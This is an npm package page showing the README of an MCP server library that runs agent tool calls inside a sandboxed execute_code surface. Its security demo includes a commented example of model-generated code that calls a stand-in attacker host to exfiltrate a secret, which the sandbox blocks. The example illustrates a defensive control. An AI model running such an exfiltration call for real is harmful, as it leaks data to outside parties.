npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@wasmagent/mcp-server

v1.0.3

Published

Expose any wasmagent agent as a Model Context Protocol (MCP) server — sync tools/call + 2025-11-25 Tasks for long-running agent work

Readme

/mcp-server

Glama MCP server

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+import { ToolRegistry } from "@wasmagent/core";

-// Before: host sees every tool directly — 40 tools × schema = huge context cost
-server.setRequestHandler(ListToolsRequestSchema, () => ({
-  tools: [...allFortyTools],
-}));
+// After: host sees ONLY docs_search + execute_code; model dispatches internally
+const tools = new ToolRegistry();
+// tools.register(...) — register your 40 tools here
+
+await runStdio(createCodeModeServer({
+  tools,
+  kernel: new QuickJSKernel(),
+  capabilities: { allowedHosts: [], cpuMs: 5_000 },
+  serverInfo: { name: "my-agent", version: "1.0.0" },
+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";

const tools = new ToolRegistry();
// tools.register(...)  — your tools here

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: { allowedHosts: [], cpuMs: 5000 },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }

3. Direct handle()

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry();
// tools.register(...)

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: {
    allowedHosts: [],           // no outbound network
    allowedPaths: [],           // no filesystem access
    cpuMs: 5_000,
    memoryLimitBytes: 64 * 1024 * 1024,
  },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Apache-2.0 — © wasmagent contributors